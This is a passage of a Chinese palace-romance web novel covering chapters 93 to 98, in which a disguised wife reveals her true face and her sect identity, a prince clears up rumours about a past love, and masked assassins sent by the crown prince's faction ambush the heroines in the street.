夜时竣没瞧见要找的人,便忍不住四处呼喊,“沫儿?沫儿你在哪?沫儿你快出来!我有话要同你说!你快出来啊!” “我在这呢!” 夜时竣寻声望去,就见巨石后面走出一个身影。 他激动地跑过去,喘着气笑问道,“沫儿,你怎么躲在这里?” 顾思沫道,“哪里是躲,我正睡觉呢!”借着月光,她盯着夜时竣脸上的汗,有些不安地问道,“这么晚来找我,可是事情没解决好?” “都解决了!一切如我们所愿!”夜时竣忍不住同她分享喜悦,“沫儿,现在‘顾思沫’已死,你终于摆脱顾家了!而且顾勇被贬为庶民,也没有机会再利用我们的婚事对将军府使坏了!” “嗯。”顾思沫开心地笑道,“那我也该离开了!既然你今晚找了过来,那我现在就和你去将军府,向将军和大公子道别。” 将军? 大公子? 她突然改变的称呼让夜时竣倏地沉了脸。 见他僵住,神色也莫名地黯淡,顾思沫抬手在他眼前挥了挥,“时竣,怎么了,发什么愣啊?” 突然,夜时竣拉下她的手,紧接着一把将她抱住—— “沫儿,你走了,我怎办?能不能不走?我帮你换个身份,留下来我们好好过日子,行吗?” “过什么日子?”对于他突来的拥抱,顾思沫并没有推开他,只是仰头望着他,说道,“我们成亲只是为了迷惑外人而已……” “放屁!”夜时竣不等她说完便气急吼了起来,“你是我八抬大轿明媒正娶的妻子,我们可是拜了天地的!” 不远处,听着他吼声,夜时舒捏了把冷汗,嘴里忍不住低骂,“笨蛋二哥,哪有这么表白的?这是生怕二嫂跑不掉啊!” 尉迟凌斜眼睇着她,冷不丁开口,“这不正说明你二哥用情至深?” 夜时舒扭头看他,也不知道抽了哪根筋,脱口问他,“你对你喜欢的人也是如此表白的?” “咳……”尉迟凌不自然地别开脸。 见他如此反应,夜时舒眸色黯下。 那个叫倪筱的女子就是他心中的朱砂痣,她问这种问题,简直就是自寻难堪…… 另一边。 顾思沫被他吼得直缩脖子,“干什么呀?有什么话能不能好好说?” “不能!”一想到她即将要离开,夜时竣就压不住心中那把狂躁的火气,对着她耳朵大声说道,“顾思沫,你给我听好了,我是不会让你离开的!我娶的是你,喜欢的也是你,你这辈子都只能是我的女人!” 顾思沫在他吼声中愣住,然后再次仰头看着他,不确定地问道,“你喜欢我?喜欢我什么?我这样平庸的人,连送人别人都嫌弃,你喜欢我哪点?” “哪都喜欢!”夜时竣摸着她的脸,在凝视着她黑眸的瞬间,突然低头覆住了她的唇。 这遂不及防的亲密,让顾思沫浑身僵如石化。 就在夜时竣怕她不信,还想更进一步来证明自己的喜欢时,顾思沫猛地将他推开。 “沫儿……”夜时竣一脸受伤地看着他,难不成是他一厢情愿? “这么丑都亲得下去,也难为你了!”顾思沫掩嘴笑嗔着他。 突然抬手摸到自己耳后,将一片薄薄的面皮从耳后开始撕扯,直到偌大的面皮从整张脸上脱落—— 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第94章 解她心结 夜半三更,荒山野地,娇娇月光之下,夜时竣如同看到了惊悚的画面般,双眸圆瞪,张着嘴却发不出任何声音。 眼前的女子剖去了平庸的脸皮,露出精致昳丽的容貌。娥眉如画,唇如朱樱,皙白无瑕,清涟脱俗,宛如皎月仙子显露原貌,让夜时竣非但没敢再上前,还踉跄地往后退了两步。 “怎么,刚刚还说喜欢我,这换张脸就不喜欢了?”顾思沫扬唇调侃他后退的举动。 这笑面,更是让夜时竣眼都直了。 他这辈子能娶到一个与他情投意合的女子已经很知足了,突然间告诉他自己的媳妇美得跟个仙女似的,他这颗面对敌军千万都能平稳跳动的心却在这一刻乱了节奏。 “你……”终于找回自己的声音,他一个箭步回到她面前,重新将她拥进怀中,低头仔仔细细地查看她的脸,仿佛要证实这一切不是幻觉。 顾思沫知道他不适应,任由他带茧的手掌在脸上磨蹭,甚至主动与他解释起来,“我还不满周岁便被顾家送去偏远废弃的庄子里,整整十七年,没有任何人去看过我一眼。原本顾家派了一个老人看守我,但在我七岁那年他年迈去世,顾家更无从得知我长何模样。” “后来顾家想起我这么个女儿,便把我接回了京城。我知他们没怀好意,便换了容貌。事实也如我猜想的那般,顾勇和李氏真打算牺牲我的色相去帮顾家笼络人心。” “不过因为我易容后实在平庸,说话做事也有失教养,那些好色的达官贵人阅人无数,见我连一个下人都不如,没一个瞧得上我。李氏不死心,为了羞辱我,便又想把我卖给一个一把年纪的老头……后面的事你都知道的。” 夜时竣听着她的话,后牙槽都快咬碎了。 顾勇和李氏不死,真的难消他心头之恨! 幸而她聪明有远见,如果让她以现在的姿容回顾家,后果真不堪想象! “干嘛呢?”顾思沫突然皱起眉,并推了推他,“我说了这么多,你好歹出个声啊!瞧不起我便直说,我又不会赖着你,大不了我现在就……” 最后一个‘走’字没来得及说出口,便听夜时竣激动喝道,“我不准!你是我的,不管是丑是美,都是我夜时竣的妻!” “那以后还分床睡吗?” 夜时竣没想到她会问出这个问题,愣了一下,他收紧臂弯将她搂得更紧,在她耳边笑道,“不分了!再也不分了!就算是死,也要睡……” “呸呸呸!说什么呢?”顾思沫不满地抬着头瞪他。 “好好好……是我嘴碎,该打!”夜时竣腾出一手拍了拍自己的嘴。看着面前貌美如仙的媳妇,他唇角是真的快咧到耳根了。 她以后也不用遮遮掩掩了,她可以用另外的身份光明正大的在自己身边…… 真好! “时竣。”顾思沫突然小声唤道。 “嗯?” 夜时竣以为她要说什么,正准备把耳朵贴近认真听,突然看到她眼珠子转身右侧。 他双眸不由地眯起,假借为她整理秀发的姿势朝那处快速瞥了一眼。 下一瞬忍不住脸黑。 “走,我们去别处!”他放开她,改抓住她的手,快速朝远处跑去。 不远处的大树后面—— 目睹顾思沫‘换脸’,夜时舒震惊得目瞪口呆。 打死她都想不到,自家这二嫂隐藏得如此深! 见他们突然跑了,她回过神,忍不住想追,“咦,跑什么啊?刚才还没亲完呢!” 身侧的男人突然勾住她腰肢,将她抵在树干上,低下头冷飕飕地道,“别人有什么好看的?” 语落,他的唇直接压在她唇上。 夜时舒僵了一下,接着回抱住他腰身。 他的吻,一如既往的狂肆,像是要把她吸进肺里。 直到彼此呼吸紊乱尉迟凌才停止。 抵着她额头,声线沙哑地问她,“你二哥成亲晚于我们,都修成正果了。你打算何时与本王圆房?” 夜时舒心虚地垂下眼睫,“最近不是事多嘛……” “借着事多,睡得比本王早,起得比本王晚,你当本王不知道你是在躲避?”尉迟凌眸光冷飕飕地瞪着她,好不给她留情面,直指她最近的小心机! 夜时舒咬了咬唇,抬起眸子再看他时,眼中莫名带着一丝水光,“圆房可以,可你能做到至此以后只有我一个女人吗?魏永淮的事你也看到了,我接受不了男人有二妇!” 尉迟凌忽然明白了,“所以你这阵子是在考察本王?” 夜时舒别开脸,“我是怕你心中挚爱哪天回来,到时我们三人都难堪!” 心中挚爱? 尉迟凌眼眸微睁,脑海中快速闪过一些事。 莫非她…… 这阵子她暗中闹别扭,不动声色地拒绝他碰触,原来是受了那些谣言的影响! “呵呵!”一改方才的阴霾神色,他突然低低笑出声,“为何不早些告诉本王你介意?” “那是你心中爱而不得的痛,你要我说什么?”见他莫名发笑,仿佛在打趣自己是个小丑,夜时舒突然用力将他推开,冷着脸说道,“每个人都有过去,你有,我也有,所以我无权指摘你什么。但我已经放下过去了,你放下了吗?如果你没放下,可以直接告诉我,我不是不能接受。真正让我介意的是,你没放下,却把我当她的替身。” “替身?”尉迟凌嘴角勾勒的弧度僵住,眉眼充满了疑惑,“这些是谁告诉你的?” “没人告诉我,都是我根据你的表现猜测的。”话都讲到这份上了,夜时舒一咬牙,干脆与他彻底摊开了说,“众所周知,一年前你因为倪筱受伤,更因为她失踪变得一蹶不振。沉默孤僻的你突然接受我,难道不是因为你把我当成了倪筱的替身?” 尉迟凌眼角抽动,真是不问不知道,没想到他们之间竟然埋藏着如此大的误会! “咳!”恼怒她胡思乱想的同时,他又莫名地想笑,清了清嗓子后,他突然压低了嗓音,问道,“有没有另一种可能,你入了本王的眼,让本王心悦于你,所以才愿意娶你?” “你……”夜时舒怔怔地看着他,不敢置信地反问,“你这是放下倪筱了吗?” 尉迟凌闭上眼吸了口气,调整好呼吸后,他又上前将她困于树干和自己之间,抵着她额头,问道,“都说本王是救倪筱而伤,可本王有伤吗?都说本王对她用情至深,可你有听说本王派人寻她吗?” 夜时舒忍不住眨眼,“你的意思是……你跟倪筱没有……” 尉迟凌咬着牙道,“那都是本王让人散播的消息!” “……” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第95章 真实身份 夜时舒无语得说不出话了。 不是对他无语。 而是对自己无语。 敢情这些日子,她所有的纠结和郁闷都是自找的?! “还有什么想问的,你最好一次给本王问个明白!”尉迟凌惩罚似的勒紧了她腰肢。 “我想知道你‘受伤’的全部过程。”夜时舒气鼓鼓地要求。 尉迟凌突然放开了她。 就在夜时舒以为他要拒绝时,尉迟凌牵起她的手,让她同他一起背靠树干席地而坐。 从他记事起所发生的事到那个叫倪筱的女子出现,一一对她讲诉。 时间不知不觉过去,但夜时舒非但不困倦,反而越听越激动。 最后忍不住道出一句,“王爷,莫非澜贵妃不是你生母?” 尉迟凌不怒反笑,“你也如此认为?” 换言之,他早都怀疑了。 夜时舒认真说着自己的看法,“一个家中,父母若是多个孩子,兴许会厚此薄彼。但澜贵妃只有你一个儿子,就算她与皇后有蒹葭之情,也没道理打压自己的亲儿子。何况你文韬武略不输太子,澜贵妃想稳固自己在后宫的地位,完全可以靠你,没必要靠讨好太子。” 尉迟凌望着远处的夜景,抿笑不语。 夜时舒皱着眉观察他的反应,“你不气恨吗?” “以前不懂事,气恨过。后来想明白了,也就释然了。” “王爷,如此说来,你是认定了她不是你母妃?” “父母之爱子,则为之计深远,她所计深远之人是太子,那必定不是本王生母。”尉迟凌转头看着她,微微挑眉,“我们大婚当日,不就试探出来了吗?虎毒食子,那是因为子非他所出,如顾勇之流。但女子十月怀胎一朝分娩,如若容不下自己生下的血肉,何不在孕育之初将其拿掉?在后宫之中,除掉一个未成形的孩子并非难事。” 夜时舒十分认可他的话。 只是…… “王爷,虽然我们心中有数,可到底只是我们推测出来的。你想过找证据证明吗?” “想过与她滴血验亲。”尉迟凌浅浅地叹了口气,“但私下取血验证无人会信,如若当众验血,不说她会反对,仅是旁人也会指骂我大逆不道。本来他们狼狈为奸就难以容我,我若是再背上逆道之罪,等于主动为他们递上刀子。” 夜时舒偏着头努力地思索。 “我倒是有个法子,不过……” “不过什么?”听她说有法子,尉迟凌立马扭头盯着她。 “不过需要等待时机。如果冒然用此法,站不住理,容易让人起疑,那他们便不能轻易上当。”夜时舒看着他的腿,说道,“现在我只想你能‘痊愈’。既然已经试探出是澜贵妃和太子合谋要你性命,那就没必要再伪装了。” 尉迟凌眸光轻闪,突然想起某二舅哥追媳妇的画面,他伸出手握住她的,温声说道,“好,都听你的。明日我就奏明父皇,说寻到神医,能为我医治双腿及容貌。” 看着两人交叠在一起的手,夜时舒耳根忍不住发烫。 倪筱的事已经解释清楚了,那便说明心中从未入住过任何人。想到这,她不由地放大了胆子,主动钻进他怀里。 尉迟凌狠狠一怔,是没想到她会主动投怀送抱。 “王爷,不早了,该回去了,不过我要你抱我回去!” 怀里的人儿,比平日里多了几分‘骄纵’,可却让尉迟凌心窝注满别样的暖意。他拥紧她的同时低下头在她唇上轻咬了一下,“急什么?亲够了再回去!” “你……唔唔……”夜时舒还没来得及反对便被他封住了唇。 …… 回王府时,都已过子夜了。 让夜时舒没想到的是,夜时竣和顾思沫会在王府里等他们。 见到自家妹子,夜时竣没好气地道,“小妹,你们还能再晚点回来么?” 听闻他们在府中等了近一个时辰,夜时舒心下又心虚又好笑。 本来是想看二哥二嫂的戏,没想到他们竟先离开,留她和承王在原地诉说衷肠…… 她转头看向已经换了容貌的顾思沫,佯装不解地问道,“二哥,这位姑娘是?” 顾思沫红着脸低下头。 眼神剜着自家妹子,“装!别以为我们不知道你们也去了后山!” “呵呵!”知道没藏好被发现了,夜时舒也不装了,笑看着顾思沫,满眼都是惊艳,“没想到我二嫂这么美!真是便宜我二哥了!” “小妹!”顾思沫不好意思地嗔了她一下。 夜时竣朝某妹夫看去,眼神带着几分哀求,“王爷,想必你也清楚我们现在的处境,舒儿她二嫂现在虽然摆脱了顾家女的身份,但她要回将军府,最好是有一个名正言顺的身份。王爷人脉广大,看能否替她安排安排?” 他不说,夜时舒还真没想到这一点。 二嫂现在换了脸,回将军府只会让人觉得突兀。若没个正式身份,难免会让人起疑。 她正想帮着说几句好话,却见尉迟凌勾着唇角,别有深意地看向顾思沫,“需要本王替你安排身份吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!夜时竣和夜时舒兄妹俩听得一脸懵,好奇又不解地盯着顾思沫。 顾思沫突然露出别扭的笑容,对他们兄妹说道,“时竣、小妹,实不相瞒,我乃华湘阁弟子,阁主赐名华芯。” “什么?!你是华湘阁的人?!”兄妹俩异口同声惊呼道。 不怪他们激动,最近他们兄妹一直派人在打听华湘阁的事,可华湘阁弟子隐藏得太好了,叫他们很是难找。 突然间告诉他们身边就有一个华湘阁弟子,且这人还与他们朝夕相处,这叫他们如何能冷静? “我不是有意隐瞒你们,实在是阁中规矩严厉……”顾思沫朝某王爷方向偷瞄了一眼,接着又道,“不过我现在可以露出身份了。” 夜时舒没错过她这偷瞄的眼神,眸光疑惑地尉迟凌看去。 这家伙是怎么看出她二嫂身份的? 不对! 这家伙也会医术! 难道他们是一伙的? “咳!本王乏了,先回房休息了。”尉迟凌冷不丁丢下话,径直离开了他们视线。 “……!”夜时舒一脸黑,他还能再心虚点吗? “沫儿,你当真是华湘阁弟子?”夜时竣抓着顾思沫的双肩,不敢置信地再次问道。 “嗯。”顾思沫认真点了点头。 “那华平你可认识?” “华平?”顾思沫偏着头想了想,然后不解地反问他,“你找他做什么?我记得十年前有个人被逐出华湘阁,好像就叫华平。” 夜时舒在一旁沉下了脸。 那个害人的东西被逐出华湘阁了? 那这下岂不是更难找? …… 翌日。 尉迟晟收到儿子递呈上来的奏折,随即便宣了澜贵妃前来。 看完奏折,澜贵妃一脸的不可置信,“凌儿居然请到了华湘阁的神医?” 尉迟晟眉头微蹙,目光深深地盯着她,“怎么,有神医为凌儿医治伤腿,不好么?” 澜贵妃立马露出笑容,“皇上,臣妾可不是这个意思!如果凌儿的腿和容貌真能治好,臣妾自是求之不得。臣妾担忧的是,传闻华湘阁的人神出鬼没,很难证实其身份,万一有人冒充华湘阁的人,那对凌儿岂不是很不利?” 尉迟晟冷哼,“敢招摇撞骗加害皇子,你当对方有多少脑袋够砍?” “皇上说的是。”澜贵妃脸上带着笑,可袖中的指甲却狠狠地掐着自己掌心。 她是真没想到,承王还能找到华湘阁的人! 最重要的是,如今致和将军府站到了承王那边,如果承王的腿伤和容貌真的被治愈好,那他们所做的一切岂不前功尽弃了? 不行…… 她绝对不能让这样的事发生! “不过皇上,为了凌儿的安危着想,臣妾觉得您应该把人叫来跟前,试试对方的医术,确认一下对方的身份才算稳妥。” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第96章 抗旨不尊 对于她这提议,尉迟晟也表示赞同,“的确,我们都没见过华湘阁的人,是该好好确认一番。” 见他点头,澜贵妃心中总算舒坦了一些。 传闻中华湘阁的人能医擅毒,如果能将对方拉拢为她和太子所用,那对付承王还有什么可难的? 如果对方不愿投靠他们…… 那就别怪她心狠手辣! 别说一个华湘阁的人,就算整个华湘阁,也别想再立于世! “朕这就派人去承王府传话,如果华湘阁的人出现,让承王府的人立即将人送进宫。” 尉迟晟说完便找来内务总管齐绥,吩咐他去传口谕。 看着他同齐绥说话的侧脸,澜贵妃红唇不由地勾起。 承王府。 宫里来人时,尉迟凌、夜时舒、夜时竣、顾思沫正一起用午膳。 听说要让自己进宫,顾思沫下意识地朝尉迟凌看去。 尉迟凌要请华湘阁的人‘医治’腿伤和容貌的事夜时竣已经知道了,也知道自家妹夫想以此机会给他媳妇一个光明正大的身份。 只是,他很不安,“王爷,宫中水深,人心难测,我家沫儿单纯得紧,就这样去宫中,万一被刁难怎办?” 尉迟凌唇角微微抽动。 夜时舒忍不住笑出声,“二哥,二嫂现在叫华芯,你别再叫错了!” 还有,哪有这样夸自己媳妇的? 就凭她二嫂华湘阁弟子的身份,那就跟单纯沾不上边! 顾思沫脸颊唰红,桌子下的手扯了扯夜时竣的衣角。 夜时竣扭头看她,一脸无辜,“我哪说错了?你去宫中,我肯定不放心!” “咳!”尉迟凌清了清嗓子,低沉道,“华湘阁的人不是谁想见就能见的,即便要见,也得本王腿伤和容貌‘痊愈’后。到时,本王会带着华芯进宫领赏。” “是。”顾思沫点头应道。 夜时舒明白尉迟凌的意思,某些人巴不得他死,又岂会让他有痊愈的机会? 没‘痊愈’前,肯定是不能让人见到她二嫂的,免得某些人对她二嫂不利! 只是她不明白,她这二嫂对尉迟凌的态度,貌似恭敬得有些太过了。如果他们是同门师兄妹,那应该是亲切有余才对,这莫名其妙散发出来的敬畏是什么意思? 妹夫都如此发话了,夜时竣也不好再说什么。 虽然他担心自己媳妇去宫中会被人刁难,但他也明白,他媳妇需要这样一个出风头的机会。 随后,尉迟凌让文轩推着自己去见了宫中传口谕的公公—— …… 御书房。 传信的太监如实禀道,“启禀皇上,奴才已经向承王殿下传达了您的口谕,但承王殿下说,华湘阁的人行事低调,不喜抛头露面,如果强行要其进宫,对方便放弃医治承王殿下。” 尉迟晟龙颜微沉。 他是帝王,被人如此拂面,自是有些不悦。 澜贵妃一听华湘阁的人拒绝进宫,当即斥道,“真是好大的威风!君王召见,他竟敢抗旨不尊!”接着她便愤懑地向尉迟晟请旨,“皇上,区区一个江湖流派,竟这般不把天家放在眼中,如此大不敬,实在该死!还请皇上即刻下令,务必将其处置,以震皇威!” 尉迟晟敛着双目看着她,“贵妃,何时变得如此偏激了?难道你没听到凌儿的话,如果强行宣其进宫,其便放弃为凌儿医治。他若真有妙手回春的本事,冒然把他杀了,你就不怕凌儿错事良机致使终身残废?” 澜贵妃被问得面色发僵。 但很快,她露出一副爱子心切的神色,解释道,“皇上,臣妾不是偏激,是为了凌儿的伤心中浮躁难安。凌儿是臣妾怀胎十月所生,臣妾比谁都希望他能早日恢复康健。可臣妾也怕,怕凌儿病急乱投医,着了别人的道。” 尉迟晟没好气地瞪着他,“凌儿他只是腿受伤了,不是脑子坏了,如果对方没点真本事,以凌儿的睿智,能受对方欺骗?” 澜贵妃赶紧佯装出一副被说服的样子,“皇上说的在理,以凌儿的睿智,是不会轻易受骗的。臣妾真是关心则乱,为了凌儿的伤都快没理智了。” 没人知道,此时的她心揪得有多厉害。 承王自开慧以来就深受皇上喜爱,明明太子最会哄人开心,可皇上称赞最多的却是承王! 不得已,她劝说从军历练,想着让他远离朝堂,如此便无法争夺太子的凤头。同时,战场无情,万一哪天承王战败,不是战死,便是名声败落。 可她机关算尽,却没想到承王自从军后,隔几月便收到边关大捷的喜报,他非但没战死沙场,反而因战功不断而揽获了十万兵权! 后来…… 承王负伤回京,她欣喜若狂,以为承王变成了废人,这辈子与皇权无缘了。 可她怎么都没想到,皇上并没有因为承王变成废人就收回承王手中的兵权,反而对承王的偏袒更胜从前! 她本就因为除不掉承王而暗恼,现在竟然告诉她承王的腿和脸还能治好…… 试问,这叫她如何能睡得着? “皇上,承王妃自嫁入承王府后便一直没进宫给我们请安,您不是想让承王妃帮衬着调和臣妾与凌儿的关系吗?不如找个时间把承王妃叫进宫中,让我们婆媳多多相处,正好臣妾有好多宝贝想送她。” 尉迟晟抿唇思索了片刻,说道,“眼下凌儿要医治腿伤,承王妃留在他身边照顾最为妥当。来日方长,你们婆媳相处也不急于这一时,待凌儿康健后,便是每日让承王妃进宫给你请安都可。” 他的一次次拒绝,让澜贵妃后牙槽都快咬碎了。 可面上,她还不得不维持自己的形象,自责道,“看我,又着急了。” 尉迟晟拿起桌上一部奏折,抬眼瞥了她一下,“若没事便回你寝宫吧。” 澜贵妃温顺应道,“是,臣妾不打扰您了。” 回到澜霞宫。 她气闷得连摔了两只花瓶。 管事嬷嬷和大宫女大气都不敢喘。 正想着说什么话来安抚她的情绪,就听她突然开口,“去东宫,把骆良娣叫来!” 她突然想起来,太子妃与她说过,骆丽娴在魏家时与夜时舒关系交好。 以前她的确瞧不上骆丽娴,可现在不同了,骆丽娴已经被太子证实是北蔺国五公主。有公主这个身份,倒是可以让她利用利用…… 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第97章 强抢民女 夜时竣现在还不敢带顾思沫回将军府,顾思沫只能先留在承王府。 他不好陪顾思沫上街,便委托自家小妹帮忙置办顾思沫的衣用。 夜时舒当然乐意了。 姑嫂俩揣着银子兴冲冲就跑街上去了。 马车上,夜时舒不解地发问,“二嫂,你有那样的身份,为何不把顾家……” 后面的话她没出口,只是做了一个抹脖子的动作。 顾思沫掩嘴失笑,“我也想啊,可是阁中有规矩,不能违抗。顾勇他们伤害的是顾思沫,那是他们的家事,如果我拿华湘阁的本事去报仇,会损害华湘阁名声。也正因如此,所以我才想摆脱顾家女的身份。” 夜时舒道,“我要是你,我恐怕守不了规矩。就拿上次你被顾勇打伤来说,那么重的伤,也只有你能忍。” 闻言,顾思沫突然心虚地低了低头,“其实,那次受伤也不算太严重,内伤都是我伪造的假象。” 夜时舒唇角狠狠一抽。 好吧,她这二嫂是真聪明! 一来测试了他们一家是否具有同情心,二来让顾勇和李氏背上恶父恶母之名。 实在是高! “吁!”充当车夫的九姑突然勒马。 马车骤停,夜时舒揭起帘子问道,“九姑,怎么了?” 九姑还没开口,便听一道女声传来,“舒姐姐,是我。” 夜时舒微微扭头,双眸不由地眯紧。 拦她们马车的不是别人,正是进了东宫做了良娣的骆丽娴! 不对,人家现在还是北蔺国五公主! 属实让她意外! “骆良娣不是在东宫伺候太子吗?怎么出来了?”忍着厌恶,她得体地打招呼。 “舒姐姐,许久未见,我挺想你的。能否赏个脸,我们好好叙叙旧?”骆丽娴穿着曾经的衣裳,模样和姿态都一如既往的温柔。 夜时舒也表现大方,直接下了马车。 顾思沫赶紧跟上。 “这位是?”骆丽娴盯着她好奇地问道。 “她是我朋友芯儿。”夜时舒从容地介绍。 顾思沫大方地福了福身,“芯儿拜见骆良娣。” 骆丽娴微微一笑,“免礼。这里不是东宫,芯儿姑娘不用如此拘礼。何况我与舒姐姐是交好的姐妹,你是舒姐姐的朋友,自然也就是我的朋友。” 夜时舒眸底快速闪过一丝鄙弃。 这女人不仅不要脸,而且脸盘还无比大! 不过细细一想也能理解,毕竟她和魏永淮退婚,并没有在明面上把骆丽娴扯出来。想来,骆丽娴应该还不知道,她早就知道她和魏永淮无媒苟合的奸事。 “骆良娣,你我许久未见,本来找个地方好好叙叙的,但是很不巧,我们今日出门有要事,我家王爷还等着我回去呢,就不多陪你叙话了。”夜时舒婉拒道。 “舒姐姐……”骆丽娴欲言又止,一双杏目莫名的泛起水光,“因为淮哥哥,你就与我生分了吗?” 夜时舒神色微僵,眸底不由地涌出冷意。 她不会忘记上一世被他们毒害的悲惨人生! 本来吧,骆丽娴进东宫,出乎了她的意料,也让她没找到报仇的机会。哪曾想,这女人不夹着尾巴做人,还主动跑出来碍她眼! “骆良娣,你是魏家义女,我与魏家的纠葛你应该清楚。若我再与你亲近,不说旁人会道我闲话,就是我家王爷也会怀疑我同你亲近是别有目的。所以,我们以后还是少往来为好。”随着上一世的记忆,夜时舒的语气也冷硬了起来。 “舒姐姐……”骆丽娴还不死心,甚至眼眶泛红,一副泫然欲泣的委屈模样。 “骆良娣!”夜时舒冷着脸打断她,“你现在是太子良娣,我是承王妃,这‘姐姐’以后还是别叫了!” 闻言,骆丽娴脸上浮出难堪之色。 她虽是太子良娣,可说到底也只是一个妾。 而夜时舒乃是堂堂正正的承王正妃。 说难听点,不论从前、还是现在,她都不配与夜时舒姐妹相称! “承王妃,是妾僭越了。”她卑躬低头,并往后退了数步。 夜时舒给顾思沫使了使眼色,二人随即回到马车上。 目送马车驶出去,骆丽娴一改泫然欲泣的自卑神色,对身后招了招手。 待一名老妇人近到她身侧时,她冷着脸道,“我熟悉夜时舒,她不可能有朋友,那叫芯儿的女子说不定就是娘娘想找的人。你也看到了,夜时舒现在对我并不友善,我没法接近她,你按照娘娘的意思看着办吧。” 若是以前,宫里那些人让她办事,她肯定会提心吊胆,并想尽一切办法办好。可现在不同了,她是北蔺国五公主,就连太子妃见了她都得客客气气的,即便这次没办好澜贵妃交代的事她也不用担心受罚! 嬷嬷斜睨她的眼神充满了不满。 什么叫她看着办? 娘娘让她出来接近夜时舒,她不尽力不说,还把事推给她去做! 不过一想到她北蔺国五公主的身份,她再不满也只得忍下。 …… “二嫂,我们今日怕是买不了东西了。”夜时舒歉意地道。 顾思沫笑了笑,“没什么,下次再出来买便是,今日保命要紧!” 夜时舒聆听着小窗外面的动静,压着嗓门同帘子外的九姑说道,“九姑,不用跑这么快。” 九姑头也没回,但语气难掩紧张,“王妃,对方人手远超我们,奴婢得赶紧摆脱他们!” “你别往人少的地方去!”夜时舒哭笑不得地提醒,“人少的地方更利于他们动手,要不想与他们交手,我们就得往闹街去!” 九姑微微一怔,然后回头冲帘子笑道,“王妃说的是!” 前面拐过一条街就是闹市,她立马加快了抽鞭的速度,“驾驾——” 然而,眼看着马车就要到拐角了,突然头顶上方降下杀气—— 夜时舒和顾思沫眉眼一沉,各冲破两侧小窗飞出马车! 九姑也在同时飞身离马! 三人稳住身形,就见七八名黑衣人落在马车上,其中两把剑凶狠地从马车顶上刺进马车里! 由于马车还在行驶,那几人见状,纷纷飞身朝夜时舒她们三人返了回来。 夜时舒她们哪敢停留,立马运起轻功开逃。 特别是夜时舒,见前面有铺子,于是一边逃一边扬声大喊—— “救命啊!有人强抢民女!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第98章 王爷痊愈 她想的是,把附近的人都吸引出来,一旦人多,这些杀手肯定有所忌惮。 事实上,她这个想法也没有错。不少人听到她的呼声,都好奇的四下张望,就连铺子里的人也出来想瞅瞅怎么回事。 可这条街的人并不多,也就十几个人陆陆续续露头。 而她们三个没敢停歇,就跟一溜烟似的从旁人眼前掠过。后面的七八个杀手也跟骤风般紧追不舍。 以至于没一个人看明白究竟发生了何事。 眼见这样没用,夜时舒她们三人不得不飞进一条无人的巷子里,正面迎战。 “你们好大的胆子,竟敢追杀亲王妃,是活腻了吗?”九姑指着他们厉声喝道。 “拿命来吧!” 黑衣人们丝毫不惧,满身杀气汇聚在刀剑下,毫不留情地朝她们袭来。 看着他们握剑的招式,不但统一,且还似曾相识。 虽然服饰颜色变了,但夜时舒还是立马就猜到了对方的底细—— 太子的麒麟卫! “九姑!芯儿!杀!”新仇旧恨,让夜时舒最先赤手空拳迎了上去。 三个人应付八个人,按理说应该是一对二、或者一对三,但那些杀手却拼了命地想围攻顾思沫,夜时舒原本想靠轻功消耗他们耐力,没想到竟变成她和九姑相反设法替顾思沫解围。 麒麟卫是太子的人,又是明着冲顾思沫而来,这说明什么还用追究吗? 定是承王拒绝让华湘阁的人进宫,惹恼了澜贵妃。未免承王被华湘阁的人医治痊愈,所以专程来对付她身边的‘陌生人’! “你们该死!”顾思沫自然也看出对方是冲自己而来,且还是死不罢休的架势。一怒之下,她指尖中突然飞出一根银针,‘嗖’地射向领头的那个黑衣人。 伴随着一声惨叫,只见那领头的黑衣人捂住一只眼跌倒在地。 看着他指间涌出的血水以及那根明晃晃的银针,其余黑衣人都不约而同地顿住了。 “杀!”领头黑衣人咬牙切齿地吼道。 夜时舒已经看出他们的目的,他们这一顿,她便不想硬拼了,打算和九姑掩护顾思沫先离开—— “本王倒想看看,今日是谁要杀本王的王妃!”突然,一道冷冽的嗓音从黑衣人身后传来。 领头黑衣人突然一怔,顾不得眼瞎朝来人看去。 结果这一看,惊得他另一只没受伤的眼球瞬间凸得巨大,“你……你……” 只见本该坐着车轮椅的男人负手而来,那笔挺的身姿,沉稳矫健的步伐,哪里有半点伤残的迹象? 就连脸上那道又大又丑的疤痕也失踪了,一张俊脸暴露在阳光下,如玉雕琢,俊美得不似真人。 隔着一群黑衣人,夜时舒看着男人俊美如画的模样,也惊艳得直了眼。 看惯了他的疤痕脸,突然间他恢复原貌,这冲击感对她来说不可谓不小。 尉迟凌不是一个人来。 身后除了文岩和文墨,还有承王府的侍卫! 黑衣人们眼中集体露出了一丝慌色。 特别是被扎瞎了一只眼的领头,只能痛恨咬牙,“撤!” 眼见他们要跑,文岩和文墨一点都没迟疑,先飞起身朝他们而去! 虽没能拦住他们的去路,却拖住了最落尾的一个,并直接将人砍伤。 领头黑衣人被手下抱着,回头一看,突然将手中利剑用力掷出,直直穿进了那名手下的胸膛—— “唔!”随着一声闷痛,被砍伤的黑衣人下一刻便断了气。 文岩和文墨气得想追去。 尉迟凌冷喝,“让他们走!” 他径直走向墙边的夜时舒,见她裙衫上多出刀口,什么也没说,将她打横抱起就走。 “王爷,你干什么啊?”众目睽睽之下,夜时舒只觉得羞死了。 “回府疗伤!”尉迟凌沉着脸道。 “我没受伤,九姑为了护我和二嫂,她才被划伤了!” “文岩、文墨!” “是!”文岩和文墨立马会意,赶紧朝九姑过去,“九姑,你没事吧?” “只是点皮肉伤,不碍事。”九姑捂着正流血的手臂,冲他们笑了笑。 顾思沫从身上拿一块帕子,快速为她包扎止血。 …… 回到承王府。 夜时舒被尉迟凌带回卧房,就差没把她扒光了检查。 要不是他神色严肃,夜时舒都要怀疑他是故意的。 